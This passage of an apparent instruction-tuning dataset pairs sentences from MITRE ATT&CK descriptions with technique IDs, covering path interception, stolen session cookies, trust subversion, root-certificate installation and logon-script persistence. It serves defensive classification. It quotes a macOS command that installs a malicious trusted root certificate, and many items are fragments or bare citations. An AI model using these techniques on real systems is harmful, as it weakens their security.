be digitally signed by Microsoft. ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively.", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009). ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TechNet MS14-019)", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TechNet MS14-019) ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>).", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Baggett 2012)", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Baggett 2012) ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SecurityBoulevard Unquoted Services APR 2018)", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SecurityBoulevard Unquoted Services APR 2018) ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The search order differs depending on the method that is used to execute the program.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The search order differs depending on the method that is used to execute the program. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec)", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT.", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", "output": "T1034", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). ### Response: T1034."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use stolen session cookies to authenticate to web applications and services.", "output": "T1506", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use stolen session cookies to authenticate to web applications and services. ### Response: T1506."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently.", "output": "T1506", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. ### Response: T1506."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cookies are often valid for an extended period of time, even if the web application is not actively used.", "output": "T1506", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cookies are often valid for an extended period of time, even if the web application is not actively used. ### Response: T1506."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active.", "output": "T1506", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. ### Response: T1506."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.", "output": "T1506", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. ### Response: T1506."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation:", "output": "T1506", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: ### Response: T1506."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Mac Crypto Cookies January 2019)", "output": "T1506", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Mac Crypto Cookies January 2019) ### Response: T1506."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert these trust mechanisms.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert these trust mechanisms. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The method adversaries use will depend on the specific mechanism they seek to subvert.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The method adversaries use will depend on the specific mechanism they seek to subvert. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Root certificates are used in public key cryptography to identify a root certificate authority (CA).", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Root certificates are used in public key cryptography to identify a root certificate authority (CA). ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the security settings, the browser may not allow the user to establish a connection to the website.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the security settings, the browser may not allow the user to establish a connection to the website. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017) ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-r trustRoot -k /Library/Keychains/System.keychain", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -r trustRoot -k /Library/Keychains/System.keychain ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018) ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scripts can vary based on operating system and whether applied locally or remotely.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scripts can vary based on operating system and whether applied locally or remotely. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use these scripts to maintain persistence on a single system.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use these scripts to maintain persistence on a single system. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence.", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation:", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Petri Logon Script AD)", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Petri Logon Script AD) ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These logon scripts run with the privileges of the user they are assigned to.", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These logon scripts run with the privileges of the user they are assigned to. ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use these scripts to maintain persistence on a network.", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. 